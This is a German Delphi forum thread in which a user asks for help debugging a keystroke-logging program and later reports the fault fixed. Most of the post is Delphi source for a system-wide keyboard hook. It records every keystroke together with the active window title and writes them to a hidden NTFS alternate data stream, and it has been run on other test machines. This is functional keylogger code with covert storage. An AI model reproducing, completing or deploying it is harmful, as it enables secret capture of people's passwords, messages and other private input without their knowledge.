AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Zurück Delphi-PRAXiS Sprachen und Entwicklungsumgebungen Object-Pascal / Delphi-Language Delphi Keyhooks...AusgabeDatei enthält nicht gedrückte Tasten oO

Keyhooks...AusgabeDatei enthält nicht gedrückte Tasten oO

Ein Thema von 0x802b · begonnen am 25. Aug 2007 · letzter Beitrag vom 26. Aug 2007
Antwort Antwort
0x802b
(Gast)

n/a Beiträge
 
#1

Keyhooks...AusgabeDatei enthält nicht gedrückte Tasten oO

  Alt 25. Aug 2007, 03:31
Hey Community :>

Ich bin nach längerem testen ehrlich gesagt langsam am verzeifeln
Ich habe mich mal an Keyboardhooks gesetzt und ne kleine App geschrieben welche die Anschläge
aufzeichnet und in einer TextDatei(bzw. html) speichert.

Das klappt Lokal (Windows Vista 32Bit) auch wunderbar, allerdings auf anderen Testmaschinen nicht!

Die Aufzeichnungen sehen folgendermaßen aus:

Zitat:
<-----LOKAL(winVista)----->
[ App Name ]
hallo ihr da draußen


<-----WIN XP TESTRECHNER(3 Stück)----->
[ App Name ]
hÜaÜlÜlÜoÜ iÜhÜrÜ dÜaÜ dÜrÜaÜuÜßÜeÜnÜ
Wie ihr sicherlich seht wird nach jedem Buchstaben ein Ü eingefügt
Ich hatte zuerst vermutet das er das KeyPress Event ansich i-wie aufzeichnet und durch ein Ü ebenfalls aufzeichnet.
Bischen debugged und danach konnte ich die Vermutung ebenfalls ausschliessen.

Ich hab schon Bekannte gefragt aber die wissen auch nicht wodrans liegen könnte...
Hier mal der Source:

Delphi-Quellcode:
procedure Main.SetHooks;
begin
KeyHookHandle:=SetWindowsHookEx(WH_JOURNALRECORD, @KeyHookProc, HInstance, 0);
end;
//
//
//
function KeyHookProc(nCode:integer; wParam: Longint; var EventStrut: TEVENTMSG): Longint; stdcall;
var
CurrentChar,HBuf,HookFilePath:string;
KeyFile,BytesWritten:dword;
szCurAppNm:array[0..260] of Char;
CurrentKey:Array[0..1] of Char;
VirtKey,ScanCode:Cardinal;
KeyState:TKeyBoardState;
nametext:Array[0..32] of Char;
begin
if (nCode = HC_ACTION) and (EventStrut.message = WM_KEYUP)
  then begin
   VirtKey:=LOBYTE(EventStrut.paramL);
   ScanCode:=HIBYTE(EventStrut.paramL);
   ScanCode:=ScanCode shl 16;
   HookFilePath:='C:\:keyhooks.txt'; //Ads

   KeyFile:=CreateFile(pchar(HookFilePath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
   SetFilePointer(KeyFile, 0, nil, FILE_END);
   GetWindowText(GetForegroundWindow, szCurAppNm, sizeof(szCurAppNm));
   if szCurAppNm <> szCurApp

    then begin
     szCurApp:=szCurAppNm;
     HBuf:='<font color="#b22222">[ '+szCurAppNm+' ]</font>';
     WriteFile(KeyFile, pchar(HBuf)^, length(HBuf), BytesWritten, nil);
    end;
   GetKeyNameText(ScanCode,nametext,sizeof(nametext));
   
{  if VirtKey = VK_CAPITAL then CurrentChar:=''         
  else if VirtKey = VK_SHIFT then CurrentChar:=''     
  else if VirtKey = VK_SPACE then CurrentChar:=''   
  else if VirtKey = VK_RETURN then CurrentChar:='
'
  else if VirtKey = VK_BACK then CurrentChar:='<font color="#c0c0c0">[Back]</font>'
  else if VirtKey = VK_TAB  then CurrentChar:='<font color="#c0c0c0">[Tab]</font>'
  else if VirtKey = VK_CONTROL  then CurrentChar:='<font color="#c0c0c0">[Ctrl]</font>'
  else if VirtKey = VK_MENU  then CurrentChar:='<font color="#c0c0c0">[Alt]</font>' 
  else if VirtKey = VK_PAUSE  then CurrentChar:='<font color="#c0c0c0">[Pause]</font>'
  else if VirtKey = VK_ESCAPE then CurrentChar:='<font color="#808080">[Esc]</font>'
...
...
...
}


   
 else if lstrlen(nametext) > 1 then CurrentChar:='['+nametext+']'
   else
    begin
     GetKeyboardState(KeyState);
     ToAscii(VirtKey,ScanCode, KeyState, CurrentKey, 0);
     CurrentChar:=CurrentKey;

    end;
   if CurrentChar <> 'then WriteFile(KeyFile, pchar(CurrentChar)^, length(CurrentChar), BytesWritten, nil);
   CloseHandle(KeyFile);
  end;

//CallNextHookEx(KeyHookHandle, nCode, wParam, Integer(@EventStrut));
end;
Habt ihr eventuell eine Idee?
  Mit Zitat antworten Zitat
0x802b
(Gast)

n/a Beiträge
 
#2

Re: Keyhooks...AusgabeDatei enthält nicht gedrückte Tasten o

  Alt 26. Aug 2007, 13:45
Konnte das Problem vermutlich lösen..Lag an dem ToASCII(....);

Trotzdem danke
  Mit Zitat antworten Zitat
Themen-Optionen Thema durchsuchen
Thema durchsuchen:

Erweiterte Suche
Ansicht

Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 12:29 Uhr.
Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz